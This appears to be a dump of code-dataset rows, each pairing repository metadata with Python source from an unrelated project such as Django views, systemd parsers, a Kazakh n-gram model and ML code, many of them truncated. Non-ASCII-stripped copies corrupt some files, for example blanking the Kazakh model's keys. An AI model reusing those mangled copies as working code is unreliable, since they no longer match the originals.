14acd7a0d3d2dc2a291175d8446cd0f2ff838072 | 29,701 | py | Python | Live Feeds Health Check/LiveFeedsHealthCheck.py | ChrisMahlke/LiveFeedsServiceAggregator | db635a591d0dcb3e04fffdb29781e98197882ee2 | [
"Unlicense"
] | 1 | 2021-01-29T16:32:10.000Z | 2021-01-29T16:32:10.000Z | Live Feeds Health Check/LiveFeedsHealthCheck.py | ChrisMahlke/LiveFeedsServiceAggregator | db635a591d0dcb3e04fffdb29781e98197882ee2 | [
"Unlicense"
] | 14 | 2020-11-05T03:03:05.000Z | 2022-01-05T00:19:08.000Z | Live Feeds Health Check/LiveFeedsHealthCheck.py | ChrisMahlke/LiveFeedsServiceAggregator | db635a591d0dcb3e04fffdb29781e98197882ee2 | [
"Unlicense"
] | null | null | null | #!/usr/bin/env python3
# Copyright 2020, Esri. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by... | 47.982229 | 130 | 0.586344 | #!/usr/bin/env python3
# Copyright 2020, Esri. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by... | 0 | 0 | 0 | 910 | 0 | 27,255 | 0 | -26 | 251 |
7147b8cb87b85cc85829b4adfb67d9f4b42e59e7 | 9,053 | py | Python | insights/parsers/systemd/unitfiles.py | mglantz/insights-core | 6f20bbbe03f53ee786f483b2a28d256ff1ad0fd4 | [
"Apache-2.0"
] | 1 | 2020-02-19T06:36:22.000Z | 2020-02-19T06:36:22.000Z | insights/parsers/systemd/unitfiles.py | mglantz/insights-core | 6f20bbbe03f53ee786f483b2a28d256ff1ad0fd4 | [
"Apache-2.0"
] | 10 | 2018-04-16T15:38:04.000Z | 2018-05-15T18:43:02.000Z | insights/parsers/systemd/unitfiles.py | mglantz/insights-core | 6f20bbbe03f53ee786f483b2a28d256ff1ad0fd4 | [
"Apache-2.0"
] | null | null | null | """
Units Manged By Systemctl (services)
====================================
Parsers included in this module are:
ListUnits - command ``/bin/systemctl list-units``
-------------------------------------------------
UnitFiles - command ``/bin/systemctl list-unit-files``
-----------------------------------------------... | 37.878661 | 106 | 0.583784 | """
Units Manged By Systemctl (services)
====================================
Parsers included in this module are:
ListUnits - command ``/bin/systemctl list-units``
-------------------------------------------------
UnitFiles - command ``/bin/systemctl list-unit-files``
-----------------------------------------------... | 0 | 8,576 | 0 | 0 | 0 | 0 | 0 | 11 | 68 |
f00096d5b66650a394e072c39d5e3c080a3b9833 | 484 | py | Python | day10/django/app3/dateview/teachCourse.py | Vanessa-kriby/Python | 1fbef67852fb362712fc48fa5c3c29eac68fe202 | [
"Apache-2.0"
] | null | null | null | day10/django/app3/dateview/teachCourse.py | Vanessa-kriby/Python | 1fbef67852fb362712fc48fa5c3c29eac68fe202 | [
"Apache-2.0"
] | null | null | null | day10/django/app3/dateview/teachCourse.py | Vanessa-kriby/Python | 1fbef67852fb362712fc48fa5c3c29eac68fe202 | [
"Apache-2.0"
] | null | null | null |
def teachCourse(request):
'''
get:
http://127.0.0.1:8000/app3/teachCourse?tno=001
:
tno:
'''
tid=request.GET.get("tno")
result=Inventory.objects.filter(teachPlan__teacher__tno=tid).values("teachPlan__teacher__tname","teachPlan__course__cname","teachPlan__department__... | 37.230769 | 219 | 0.71281 | from app1.models import *
from app1.util.utils import *
def teachCourse(request):
'''
get:
http://127.0.0.1:8000/app3/teachCourse?tno=001
调用参数:
tno:工号
'''
tid=request.GET.get("tno")
result=Inventory.objects.filter(teachPlan__teacher__tno=tid).values("teachPlan__teach... | 18 | 0 | 0 | 0 | 0 | 0 | 0 | 12 | 44 |
9258bba928805ebeed2869595a96799e99e14915 | 1,180 | py | Python | CTCI/SherlockAndAnagrams.py | PsiPhiTheta/HackerRank | fafbed5ae4f6f134666796b91640901eda79de30 | [
"Unlicense"
] | null | null | null | CTCI/SherlockAndAnagrams.py | PsiPhiTheta/HackerRank | fafbed5ae4f6f134666796b91640901eda79de30 | [
"Unlicense"
] | null | null | null | CTCI/SherlockAndAnagrams.py | PsiPhiTheta/HackerRank | fafbed5ae4f6f134666796b91640901eda79de30 | [
"Unlicense"
] | null | null | null | import os
if __name__ == '__main__':
fptr = open(os.environ['OUTPUT_PATH'], 'w')
q = int(input())
for q_itr in range(q):
s = input()
result = sherlockAndAnagrams(s)
fptr.write(str(result) + '\n')
fptr.close()
| 30.25641 | 231 | 0.588136 | import math
import os
import random
import re
import sys
def sherlockAndAnagrams(s):
dct = {}
cnt = 0
for i in range(len(s)):
for j in range(i+1,len(s)+1):
list1 = list(s[i:j].strip()) # extract all substrings, convert to list
print(list1)
list1.sort() # sort t... | 0 | 0 | 0 | 0 | 0 | 851 | 0 | -41 | 115 |
91b3843162560f4dfc9bcccecec9b14448b5f2cb | 4,126 | py | Python | env/lib/python2.7/site-packages/guess_language/data/models/kk.py | Eric-Muthemba/qontroverse | 1f12d0e3bbdee628a88bac77dc53426ded220755 | [
"MIT"
] | null | null | null | env/lib/python2.7/site-packages/guess_language/data/models/kk.py | Eric-Muthemba/qontroverse | 1f12d0e3bbdee628a88bac77dc53426ded220755 | [
"MIT"
] | 1 | 2021-06-02T01:45:42.000Z | 2021-06-02T01:45:42.000Z | env/lib/python2.7/site-packages/guess_language/data/models/kk.py | Eric-Muthemba/qontroverse | 1f12d0e3bbdee628a88bac77dc53426ded220755 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
model = {
u' ': 0,
u' ': 1,
u' ': 2,
u' ': 3,
u' ': 4,
u' ': 5,
u'': 6,
u' ': 7,
u' ': 8,
u' ': 9,
u' ': 10,
u'': 11,
u' ': 12,
u' ': 13,
u' ': 14,
u' ': 15,
u'': 16,
u' ': 17,
u'': 18,
u' ': 19,
u'': 20,
u'': 21,
u'': 22,
u' ': 23,
u'': 24,
u' ': 25,
u'': 26,
u' ': 2... | 13.572368 | 23 | 0.453708 | # -*- coding: utf-8 -*-
model = {
u'ан ': 0,
u'ен ': 1,
u'ың ': 2,
u' қа': 3,
u' ба': 4,
u'ай ': 5,
u'нда': 6,
u'ын ': 7,
u' са': 8,
u' ал': 9,
u'ді ': 10,
u'ары': 11,
u'ды ': 12,
u'ып ': 13,
u' мұ': 14,
u' бі': 15,
u'асы': 16,
u'да ': 17,
u'най': 18,
u' жа': 19,
u'мұн': 20,
u'ста': 21,
u'ған': 2... | 1,534 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
71e0d6a3c5d9e1787b217194bd17b8662da31c02 | 993 | py | Python | src/analysis/regression.py | mtb0/flightmodel | 1a8b33d30ca1af704504f1e17e8cc659248b8afa | [
"MIT"
] | null | null | null | src/analysis/regression.py | mtb0/flightmodel | 1a8b33d30ca1af704504f1e17e8cc659248b8afa | [
"MIT"
] | null | null | null | src/analysis/regression.py | mtb0/flightmodel | 1a8b33d30ca1af704504f1e17e8cc659248b8afa | [
"MIT"
] | null | null | null | #!/usr/bin/env python
"""Estimate parameters of models that predict SchTime using available info: SchDep, SchArr, Carrier,
Date, Distance, Origin and Dest coordinates."""
import numpy as np
from sklearn import linear_model
from analysis.filter import get_jetstream
def regression(year, month, df):
"""OLS regr... | 33.1 | 101 | 0.680765 | #!/usr/bin/env python
"""Estimate parameters of models that predict SchTime using available info: SchDep, SchArr, Carrier,
Date, Distance, Origin and Dest coordinates."""
import numpy as np
import pandas as pd
from sklearn import linear_model
from analysis.filter import get_jetstream
def regression(year, month, ... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | -2 | 22 |
11311d7fc15baf206f15c5399847ac0d8332f140 | 241 | py | Python | Python/Fundamentals/RegEx/Exercises/Find Variable Names In Sentences.py | EduardV777/Softuni-Python-Exercises | 79db667028aea7dfecb3dbbd834c752180c50f44 | [
"Unlicense"
] | null | null | null | Python/Fundamentals/RegEx/Exercises/Find Variable Names In Sentences.py | EduardV777/Softuni-Python-Exercises | 79db667028aea7dfecb3dbbd834c752180c50f44 | [
"Unlicense"
] | null | null | null | Python/Fundamentals/RegEx/Exercises/Find Variable Names In Sentences.py | EduardV777/Softuni-Python-Exercises | 79db667028aea7dfecb3dbbd834c752180c50f44 | [
"Unlicense"
] | null | null | null | import re
text=input()
lookForVars=re.compile(r"\b([_])([A-Za-z]+)\b")
varNames=lookForVars.findall(text)
output=""
for k in range(0,len(varNames)):
output+=varNames[k][1]
if not k==len(varNames)-1:
output+=","
print(output)
| 21.909091 | 47 | 0.643154 | import re
text=input()
lookForVars=re.compile(r"\b([_])([A-Za-z]+)\b")
varNames=lookForVars.findall(text)
output=""
for k in range(0,len(varNames)):
output+=varNames[k][1]
if not k==len(varNames)-1:
output+=","
print(output)
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
65ab47f6621d2895f92dea9c013e3a8cd1ed8e5c | 2,455 | py | Python | EntityRDFizer/entityrdfizer/PropertyReader.py | mdhillmancmcl/TheWorldAvatar-CMCL-Fork | 011aee78c016b76762eaf511c78fabe3f98189f4 | [
"MIT"
] | null | null | null | EntityRDFizer/entityrdfizer/PropertyReader.py | mdhillmancmcl/TheWorldAvatar-CMCL-Fork | 011aee78c016b76762eaf511c78fabe3f98189f4 | [
"MIT"
] | null | null | null | EntityRDFizer/entityrdfizer/PropertyReader.py | mdhillmancmcl/TheWorldAvatar-CMCL-Fork | 011aee78c016b76762eaf511c78fabe3f98189f4 | [
"MIT"
] | null | null | null | ##########################################
# Author: Feroz Farazi (msff2@cam.ac.uk) #
# Date: 07 Dec 2020 #
##########################################
import configparser
import pkg_resources
import os
ENTRDF_PROP_FILE = pkg_resources.resource_filename(__name__,os.path.join('conf','EntityRDFizer.p... | 28.882353 | 108 | 0.731976 | ##########################################
# Author: Feroz Farazi (msff2@cam.ac.uk) #
# Date: 07 Dec 2020 #
##########################################
import configparser
import pkg_resources
import os
ENTRDF_PROP_FILE = pkg_resources.resource_filename(__name__,os.path.join('conf','EntityRDFizer.p... | 0 | 0 | 0 | 0 | 0 | 828 | 0 | 0 | 276 |
83c62c57e701fe20872a2f102415c3563515d7fc | 1,723 | py | Python | src/PyCRA/files_content.py | moaz-elesawey/py-cra | b8c97b1750a6f0d1be72bf73eb1c28ae0b187f7f | [
"MIT"
] | 1 | 2021-12-06T09:59:50.000Z | 2021-12-06T09:59:50.000Z | src/PyCRA/files_content.py | Moaz-Mohammed-Elesawey/py-cra | b8c97b1750a6f0d1be72bf73eb1c28ae0b187f7f | [
"MIT"
] | null | null | null | src/PyCRA/files_content.py | Moaz-Mohammed-Elesawey/py-cra | b8c97b1750a6f0d1be72bf73eb1c28ae0b187f7f | [
"MIT"
] | 1 | 2021-12-06T10:00:36.000Z | 2021-12-06T10:00:36.000Z | BABELRC_CONTENT = u'''{
"presets": [
"@babel/preset-env", "@babel/preset-react"
]
}'''
WEBPACK_CONFIG_JS_CONTENT = u'''module.exports = {
watch: true,
module: {
rules: [
{
test: /\.js$/,
exclude: /node_modules/,
use: {
... | 21.810127 | 74 | 0.538015 | BABELRC_CONTENT = u'''{
"presets": [
"@babel/preset-env", "@babel/preset-react"
]
}'''
WEBPACK_CONFIG_JS_CONTENT = u'''module.exports = {
watch: true,
module: {
rules: [
{
test: /\.js$/,
exclude: /node_modules/,
use: {
... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
097a4e5cdabd02d07b5dacb8d66cb3920dccf5d0 | 2,200 | py | Python | test_serializable_fails_if_updating_different_rows.py | michalc/django-postgres-isolation-levels | 566c37816aca18fb28e9fe244c47938539c5f91b | [
"MIT"
] | 2 | 2020-10-23T23:58:43.000Z | 2021-10-16T16:38:14.000Z | test_serializable_fails_if_updating_different_rows.py | michalc/django-postgres-isolation-levels | 566c37816aca18fb28e9fe244c47938539c5f91b | [
"MIT"
] | null | null | null | test_serializable_fails_if_updating_different_rows.py | michalc/django-postgres-isolation-levels | 566c37816aca18fb28e9fe244c47938539c5f91b | [
"MIT"
] | 1 | 2020-10-12T13:58:35.000Z | 2020-10-12T13:58:35.000Z | ##############
# Setup Django
import django
django.setup()
#############
# Test proper
| 29.72973 | 82 | 0.642727 | ##############
# Setup Django
import django
django.setup()
#############
# Test proper
import threading
import time
import pytest
from django.db import DatabaseError, connection, transaction
from django.db.models import F, Subquery
from app.models import Sock
@pytest.mark.django_db
def test_serializable_fails_if_... | 0 | 1,912 | 0 | 0 | 0 | 0 | 0 | 41 | 156 |
24a92ffefc2e23015dba631364a3ea7e6e63eeb5 | 1,059 | py | Python | library/test.py | BaptisteGerondeau/ansible-role-mr-provisioner | acf38aeee5b9c9ed712f0eb9907400558a23755f | [
"BSD-2-Clause"
] | 1 | 2018-05-15T02:44:47.000Z | 2018-05-15T02:44:47.000Z | library/test.py | BaptisteGerondeau/ansible-role-mr-provisioner | acf38aeee5b9c9ed712f0eb9907400558a23755f | [
"BSD-2-Clause"
] | 8 | 2018-01-18T08:18:26.000Z | 2018-05-09T13:50:15.000Z | library/test.py | BaptisteGerondeau/ansible-role-mr-provisioner | acf38aeee5b9c9ed712f0eb9907400558a23755f | [
"BSD-2-Clause"
] | 4 | 2017-11-08T21:27:14.000Z | 2018-04-03T03:47:36.000Z | import requests
#from urlparse import urljoin
from future.standard_library import install_aliases
install_aliases()
from urllib.parse import urljoin
# curl -X POST "http://192.168.0.3:5000/api/v1/image"
# -H "accept: application/json"
# -H "Authorization: DEADBEEF"
# -H "content-type: multipart/form-data"
# -F "file=... | 34.16129 | 94 | 0.634561 | import requests
#from urlparse import urljoin
from future.standard_library import install_aliases
install_aliases()
from urllib.parse import urljoin
# curl -X POST "http://192.168.0.3:5000/api/v1/image"
# -H "accept: application/json"
# -H "Authorization: DEADBEEF"
# -H "content-type: multipart/form-data"
# -F "file=... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
a66dc25a4ad943ada8c203a441607cd9d4a82f3b | 2,218 | py | Python | autoClone/getRepos/parserRepos.py | RylynnLai/py-practise | aebcc7343a03f4256cc24f91100fdcdf10d31fa8 | [
"MIT"
] | null | null | null | autoClone/getRepos/parserRepos.py | RylynnLai/py-practise | aebcc7343a03f4256cc24f91100fdcdf10d31fa8 | [
"MIT"
] | null | null | null | autoClone/getRepos/parserRepos.py | RylynnLai/py-practise | aebcc7343a03f4256cc24f91100fdcdf10d31fa8 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# -*- coding: UTF-8 -*-
import sys
#pythonasciiasciipython
#pythonasciipythonutf8
reload(sys)
sys.setdefaultencoding('utf8')
#
#Html
#
| 22.18 | 121 | 0.62128 | #!/usr/bin/python
# -*- coding: UTF-8 -*-
import os, sys, requests
from bs4 import BeautifulSoup
from biplist import *
#python在安装时,默认的编码是ascii,当程序中出现非ascii编码时,python的处理常常会报类似这样的错误。
#python没办法处理非ascii编码的,此时需要自己设置将python的默认编码,一般设置为utf8的编码格式。
reload(sys)
sys.setdefaultencoding('utf8')
#创建文件夹路劲
def mkdir(path):
... | 987 | 0 | 0 | 0 | 0 | 1,562 | 0 | 22 | 134 |
f4379a33719265674e9db1e0b7909fe98a9d8639 | 675 | py | Python | setup.py | Bartekkz/DeepX | 4ba2dfc7f2be3919fb9a64021bca154422e539ee | [
"MIT"
] | 1 | 2020-04-03T16:58:57.000Z | 2020-04-03T16:58:57.000Z | setup.py | Bartekkz/DeepX | 4ba2dfc7f2be3919fb9a64021bca154422e539ee | [
"MIT"
] | null | null | null | setup.py | Bartekkz/DeepX | 4ba2dfc7f2be3919fb9a64021bca154422e539ee | [
"MIT"
] | 1 | 2020-04-01T11:42:00.000Z | 2020-04-01T11:42:00.000Z | from setuptools import setup, find_packages
with open("README.md", "r") as fh:
long_description = fh.read()
setup(
name="bearx",
version="0.1",
scripts=['bearx'],
author="Bartek Szmelczynski",
author_email="bartek.szmelczynski@gmail.com",
description=("deep learning library created in ord... | 28.125 | 69 | 0.644444 | from setuptools import setup, find_packages
with open("README.md", "r") as fh:
long_description = fh.read()
setup(
name="bearx",
version="0.1",
scripts=['bearx'],
author="Bartek Szmelczynski",
author_email="bartek.szmelczynski@gmail.com",
description=("deep learning library created in ord... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
fe84d982666e5a96f67cc80648c47bb45af29406 | 5,407 | py | Python | openmdao.lib/src/openmdao/lib/drivers/sensitivity.py | OzanCKN/OpenMDAO-Framework | 05e9d4b9bc41d0ec00a7073545146c925cd33b0b | [
"Apache-2.0"
] | 1 | 2015-11-05T11:14:45.000Z | 2015-11-05T11:14:45.000Z | openmdao.lib/src/openmdao/lib/drivers/sensitivity.py | janus/OpenMDAO-Framework | 05e9d4b9bc41d0ec00a7073545146c925cd33b0b | [
"Apache-2.0"
] | null | null | null | openmdao.lib/src/openmdao/lib/drivers/sensitivity.py | janus/OpenMDAO-Framework | 05e9d4b9bc41d0ec00a7073545146c925cd33b0b | [
"Apache-2.0"
] | 1 | 2020-07-15T02:45:54.000Z | 2020-07-15T02:45:54.000Z | """
sensitivity.py -- Driver to calculate the gradient of a workflow, and return
it as a driver output.
SensitivityDriver includes a differentiator slot where the differentiation
method can be plugged. Fake finite difference is supported.
"""
# pylint: disable-msg=C0103
#public symbols
__all__ =... | 43.604839 | 96 | 0.614944 | """
sensitivity.py -- Driver to calculate the gradient of a workflow, and return
it as a driver output.
SensitivityDriver includes a differentiator slot where the differentiation
method can be plugged. Fake finite difference is supported.
"""
# pylint: disable-msg=C0103
#public symbols
__all__ =... | 0 | 4,528 | 0 | 0 | 0 | 0 | 0 | 298 | 224 |
a514e7c2d23362392762154ae975a5923ddf86fd | 526 | py | Python | operators/di_replication/checkdata/checkdata_test.py | thhapke/dilocal | 1d3c1b7b1a4513e9bff7efd77f680f66014ff499 | [
"MIT"
] | null | null | null | operators/di_replication/checkdata/checkdata_test.py | thhapke/dilocal | 1d3c1b7b1a4513e9bff7efd77f680f66014ff499 | [
"MIT"
] | null | null | null | operators/di_replication/checkdata/checkdata_test.py | thhapke/dilocal | 1d3c1b7b1a4513e9bff7efd77f680f66014ff499 | [
"MIT"
] | null | null | null | import checkdata
from archive.utils.mock_di_api import mock_api
from archive.utils.operator_test import operator_test
api = mock_api(__file__) # class instance of mock_api
mock_api.print_send_msg = True # set class variable for printing api.send
optest = operator_test(__file__)
# config parameter
msg ... | 35.066667 | 76 | 0.731939 | import checkdata
from archive.utils.mock_di_api import mock_api
from archive.utils.operator_test import operator_test
api = mock_api(__file__) # class instance of mock_api
mock_api.print_send_msg = True # set class variable for printing api.send
optest = operator_test(__file__)
# config parameter
msg ... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
121de1e5c031739c4a511ea5fac1332b1d00287b | 347 | py | Python | main.py | thewillboy/meu_equipamento | 2f5c6a4553f251a66692889ae3a2607b972893dd | [
"MIT"
] | null | null | null | main.py | thewillboy/meu_equipamento | 2f5c6a4553f251a66692889ae3a2607b972893dd | [
"MIT"
] | null | null | null | main.py | thewillboy/meu_equipamento | 2f5c6a4553f251a66692889ae3a2607b972893dd | [
"MIT"
] | null | null | null | '''
Descrio: Interface para visualizar as especificaes de hardware do computador
Desenvolvedor: William Hoeflich
Verso: 0.1
'''
# Importando as bibliotecas utilizadas no projeto
if __name__ == "__main__":
main() | 23.133333 | 81 | 0.720461 | '''
Descrição: Interface para visualizar as especificações de hardware do computador
Desenvolvedor: William Hoeflich
Versão: 0.1
'''
# Importando as bibliotecas utilizadas no projeto
from ui import Interface
def main():
# Instanciando a interface do aplicativo
interface = Interface()
if __name__... | 10 | 0 | 0 | 0 | 0 | 65 | 0 | 3 | 48 |
ab6c5ffd4f708a5db0fd5074679f1e6ed07a725b | 2,529 | py | Python | apps/GNNAutoScale/gnn_models/gat.py | zbmain/PGL | dbded6a1543248b0a33c05eb476ddc513401a774 | [
"Apache-2.0"
] | 1 | 2022-03-25T12:04:51.000Z | 2022-03-25T12:04:51.000Z | apps/GNNAutoScale/gnn_models/gat.py | zbmain/PGL | dbded6a1543248b0a33c05eb476ddc513401a774 | [
"Apache-2.0"
] | null | null | null | apps/GNNAutoScale/gnn_models/gat.py | zbmain/PGL | dbded6a1543248b0a33c05eb476ddc513401a774 | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | 30.841463 | 74 | 0.570581 | # Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | 0 | 112 | 0 | 1,697 | 0 | 0 | 0 | -5 | 91 |
b8c43eb1805eabe06a85e4001c58b43e247cb551 | 2,895 | py | Python | anyprog.py | Rajpratik71/devel-scripts | 068285719a13b02889b1314361cc5bdb764d9a3a | [
"Apache-2.0"
] | null | null | null | anyprog.py | Rajpratik71/devel-scripts | 068285719a13b02889b1314361cc5bdb764d9a3a | [
"Apache-2.0"
] | null | null | null | anyprog.py | Rajpratik71/devel-scripts | 068285719a13b02889b1314361cc5bdb764d9a3a | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python
"""Inspect path to locate possible completions for cmd.
Walk through the entries in the current PATH env var and look for
things that might match a cmd. Argument is a text string S; we dump
out any program on the path that contains S.
If SHELL is set to bash, then we also test to see if any
bash fun... | 27.571429 | 71 | 0.632815 | #!/usr/bin/python
"""Inspect path to locate possible completions for cmd.
Walk through the entries in the current PATH env var and look for
things that might match a cmd. Argument is a text string S; we dump
out any program on the path that contains S.
If SHELL is set to bash, then we also test to see if any
bash fun... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
16188fd3ca1e2933ce60ddbba2c219a53bb334d9 | 8,519 | py | Python | src/blade/thrift_library.py | kerr-huang/blade | a98f35a8bbed13a14213c7c696485b742a13e7aa | [
"BSD-3-Clause"
] | 841 | 2016-11-11T21:44:15.000Z | 2022-03-13T09:00:56.000Z | src/blade/thrift_library.py | kerr-huang/blade | a98f35a8bbed13a14213c7c696485b742a13e7aa | [
"BSD-3-Clause"
] | 21 | 2016-11-17T04:24:06.000Z | 2019-04-11T09:36:52.000Z | src/blade/thrift_library.py | kerr-huang/blade | a98f35a8bbed13a14213c7c696485b742a13e7aa | [
"BSD-3-Clause"
] | 343 | 2016-11-11T11:06:19.000Z | 2022-03-21T09:07:45.000Z | # Copyright (c) 2012 iQIYI Inc.
# Copyright (c) 2013 Tencent Inc.
# All rights reserved.
#
# Author: Jingxu Chen <chenjingxu@qiyi.com>
# Feng Chen <chen3feng@gmail.com>
# Date: October 13, 2012
"""
A helper class to get the files generated from thrift IDL files.
"""
import blade
import build_rules
d... | 32.14717 | 86 | 0.538678 | # Copyright (c) 2012 iQIYI Inc.
# Copyright (c) 2013 Tencent Inc.
# All rights reserved.
#
# Author: Jingxu Chen <chenjingxu@qiyi.com>
# Feng Chen <chen3feng@gmail.com>
# Date: October 13, 2012
"""
A helper class to get the files generated from thrift IDL files.
"""
import os
import blade
import config... | 0 | 0 | 0 | 7,312 | 0 | 0 | 0 | 15 | 201 |
ac28bc429e8250e1d859821cec80a5a2b2676daf | 1,032 | py | Python | split.py | MaggieChenchen/SingleGan_new | 06180be2479ce931af464b2dfdd091a646cc9b61 | [
"MIT"
] | 89 | 2018-10-13T03:20:11.000Z | 2022-03-15T17:36:53.000Z | split.py | MaggieChenchen/SingleGan_new | 06180be2479ce931af464b2dfdd091a646cc9b61 | [
"MIT"
] | 10 | 2018-10-18T07:53:54.000Z | 2020-10-25T20:01:53.000Z | split.py | MaggieChenchen/SingleGan_new | 06180be2479ce931af464b2dfdd091a646cc9b61 | [
"MIT"
] | 16 | 2018-10-16T07:08:28.000Z | 2022-03-21T21:02:12.000Z | import sys
import os
from glob import glob
from PIL import Image
from tqdm import trange
from util import util
image_path = sys.argv[1]
path_trainA = os.path.join(image_path,'trainA')
path_trainB = os.path.join(image_path,'trainB')
path_testA = os.path.join(image_path,'testA')
path_testB = os.path.join(image_path,'tes... | 32.25 | 60 | 0.684109 | import sys
import os
from glob import glob
from PIL import Image
from tqdm import trange
from util import util
import shutil
image_path = sys.argv[1]
path_trainA = os.path.join(image_path,'trainA')
path_trainB = os.path.join(image_path,'trainB')
path_testA = os.path.join(image_path,'testA')
path_testB = os.path.join(i... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | -8 | 22 |
5f9958c8911c0aafcecb6e320d4c753a2e7ac226 | 3,750 | py | Python | dompetku/handler/services.py | blackshirt/dompetku | 51b907dc25c927ef42b4522499c1884affd42980 | [
"BSD-2-Clause"
] | 1 | 2016-05-15T16:58:54.000Z | 2016-05-15T16:58:54.000Z | dompetku/handler/services.py | blackshirt/dompetku | 51b907dc25c927ef42b4522499c1884affd42980 | [
"BSD-2-Clause"
] | null | null | null | dompetku/handler/services.py | blackshirt/dompetku | 51b907dc25c927ef42b4522499c1884affd42980 | [
"BSD-2-Clause"
] | null | null | null | #!/usr/bin/env python
#
# Copyright @2014 blackshirtmuslim@yahoo.com
# Licensed: see Python license
"""Module to handle json services."""
import tornado.web
| 30 | 92 | 0.533867 | #!/usr/bin/env python
#
# Copyright @2014 blackshirtmuslim@yahoo.com
# Licensed: see Python license
"""Module to handle json services."""
import datetime
import json
import peewee
import tornado.web
import tornado.escape
from dompetku.handler import base
from dompetku.utils import jsonify
from dompetku.model import ... | 0 | 378 | 0 | 2,924 | 0 | 0 | 0 | 40 | 247 |
23dd3c4b0d83f35a4b5d57e7cab871a170cec778 | 380 | py | Python | blowdrycss/unit_tests/test_all.py | acnagy/test-blowdrycss | bd9603dc87dc304b811213e3e6c3c97afa7f5966 | [
"MIT"
] | null | null | null | blowdrycss/unit_tests/test_all.py | acnagy/test-blowdrycss | bd9603dc87dc304b811213e3e6c3c97afa7f5966 | [
"MIT"
] | null | null | null | blowdrycss/unit_tests/test_all.py | acnagy/test-blowdrycss | bd9603dc87dc304b811213e3e6c3c97afa7f5966 | [
"MIT"
] | null | null | null | """
Test all test files.
"""
# import glob
# import unittest
#
# test_files = glob.glob('test_*.py')
# module_strings = [test_file[0:len(test_file)-3] for test_file in test_files]
# suites = [unittest.defaultTestLoader.loadTestsFromName(test_file) for test_file in module_strings]
# testSuite = unittest.TestSuite(suite... | 29.230769 | 100 | 0.757895 | """
Test all test files.
"""
# import glob
# import unittest
#
# test_files = glob.glob('test_*.py')
# module_strings = [test_file[0:len(test_file)-3] for test_file in test_files]
# suites = [unittest.defaultTestLoader.loadTestsFromName(test_file) for test_file in module_strings]
# testSuite = unittest.TestSuite(suite... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
1fb8b9f45d44f90f40cd16747be3e15d79326496 | 749 | py | Python | Project/motorCode.py | aaronjohnsabu1999/sudoku-solver-itsp-2018 | 5f2bc40704bb206490e2c7f60f0d035ff47ee02e | [
"MIT"
] | 1 | 2021-01-17T17:30:28.000Z | 2021-01-17T17:30:28.000Z | Project/motorCode.py | aaronjohnsabu1999/sudoku-solver-itsp-2018 | 5f2bc40704bb206490e2c7f60f0d035ff47ee02e | [
"MIT"
] | null | null | null | Project/motorCode.py | aaronjohnsabu1999/sudoku-solver-itsp-2018 | 5f2bc40704bb206490e2c7f60f0d035ff47ee02e | [
"MIT"
] | 1 | 2019-12-24T14:03:21.000Z | 2019-12-24T14:03:21.000Z | YStepsPerBlock = 225
XStepsPerBlock = 227
Delay = 0.0008
| 19.710526 | 50 | 0.59012 | YStepsPerBlock = 225
XStepsPerBlock = 227
Delay = 0.0008
def cam_stepper_y():
YStepCount = YStepsPerBlock * 10
return YStepCount
def move_stepper_x(prev_x, cur_x):
XStepCount = XStepsPerBlock * (cur_x - prev_x)
return XStepCount
def move_stepper_y(prev_y, cur_y):
YStepCount = YStepsPerBlock ... | 0 | 0 | 0 | 0 | 0 | 592 | 0 | 0 | 96 |
fa87aa9a2f89e1c0eaa299f3cecfccd866e78d88 | 6,865 | py | Python | _unittests/ut_pycode/test_profiling.py | Pandinosaurus/pyquickhelper | 326276f656cf88989e4d0fcd006ada0d3735bd9e | [
"MIT"
] | 18 | 2015-11-10T08:09:23.000Z | 2022-02-16T11:46:45.000Z | _unittests/ut_pycode/test_profiling.py | Pandinosaurus/pyquickhelper | 326276f656cf88989e4d0fcd006ada0d3735bd9e | [
"MIT"
] | 321 | 2015-06-14T21:34:28.000Z | 2021-11-28T17:10:03.000Z | _unittests/ut_pycode/test_profiling.py | Pandinosaurus/pyquickhelper | 326276f656cf88989e4d0fcd006ada0d3735bd9e | [
"MIT"
] | 10 | 2015-06-20T01:35:00.000Z | 2022-01-19T15:54:32.000Z | """
@brief test tree node (time=5s)
"""
import unittest
try:
from pstats import SortKey
except ImportError:
# python < 3.7
if __name__ == "__main__":
unittest.main()
| 30.376106 | 78 | 0.52032 | """
@brief test tree node (time=5s)
"""
import sys
import os
import unittest
import warnings
import time
try:
from pstats import SortKey
except ImportError:
# python < 3.7
from pyquickhelper.pycode.profiling import SortKey
import pandas
from pyquickhelper.pycode import ExtTestCase
from pyquickhelper.pa... | 0 | 1,521 | 0 | 4,781 | 0 | 0 | 0 | 130 | 247 |
fa54d9fc53c9cd9ddc969b162a82d4f7e0586af3 | 252 | py | Python | notebooks/exercise_solutions/n04_inertia_define-rigid-body.py | pydy/pydy-tutorial-human-standing | 72b1d8513e339e9b10e501bd3490caa3fa997bc4 | [
